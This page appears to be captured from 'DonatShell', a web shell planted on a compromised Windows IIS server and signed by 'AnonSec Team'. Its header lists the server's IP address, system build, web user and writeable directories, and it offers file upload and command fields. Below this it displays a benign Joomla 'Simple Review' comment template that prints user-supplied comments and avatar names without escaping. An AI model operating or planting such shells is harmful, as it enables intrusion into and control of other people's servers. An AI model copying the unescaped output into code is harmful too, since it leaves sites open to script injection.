DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/components/com_simple_review/templates/legacy/commentdisplay/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/components/com_simple_review/templates/legacy/commentdisplay/template.php
<?php
/**
 *  $Id: template.php 274 2010-09-26 12:48:10Z rowan $
 *
 * 	Copyright (C) 2005-2010  Rowan Youngson
 * 
 *	This file is part of Simple Review.
 *
 *	Simple Review is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.

 *  Simple Review is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.

 *  You should have received a copy of the GNU General Public License
 *  along with Simple Review.  If not, see <http://www.gnu.org/licenses/>.
*/

// ensure this file is being included by a parent file
defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );
class TemplateCommentDisplay extends TemplateCommentDisplayBase
{
	function TemplateCommentDisplay(&$setup)
	{
		parent::Addon_Base_Template($setup, __FILE__);
		
		$templateDirectoryUrl = $this->GetUrlToTemplateDirectory();
		
		$cssUrl =  $templateDirectoryUrl.'css/';
		$cssFile = $cssUrl.'commentdisplay.css';
		$this->addonManager->Bridge->IncludeCssLink($cssFile);
	}
	
	function Display()
	{
		$maxRating = $this->setup->maxRating;
		foreach($this->setup->viewModel as $c):
		?>
		<!--start editing from here-->
	    <table class='commentTable'>
			<tr>
				<th width=25%>
	    			<?php echo $c->commenter;?>
	    		</th>
				<th width=10%>
					<?php if($c->userRating):?>
					<?php echo $c->userRating;?> / <?php echo $maxRating;
					endif;
					?>
				</th>
				<th>
					<?php echo $c->createdDate;?>
				</th>
			</tr>
			<tr>
				<td align='left' colspan='3'>
					<img align='left' src="components/com_simple_review/images/avatars/<?php echo $c->avatar;?>"/ style="padding-right:5px;">
					<?php echo $c->comment;?>
				</td>		
			</tr>
			<tr>
				<td colspan=3>
					<?php echo $c->adminLinks;?>
				</td>
			</tr>	
		</table>
	
		<!--stop editing here-->	
		<?php
		endforeach;		
		
	}
}
?>

Anon7 - 2022
AnonSec Team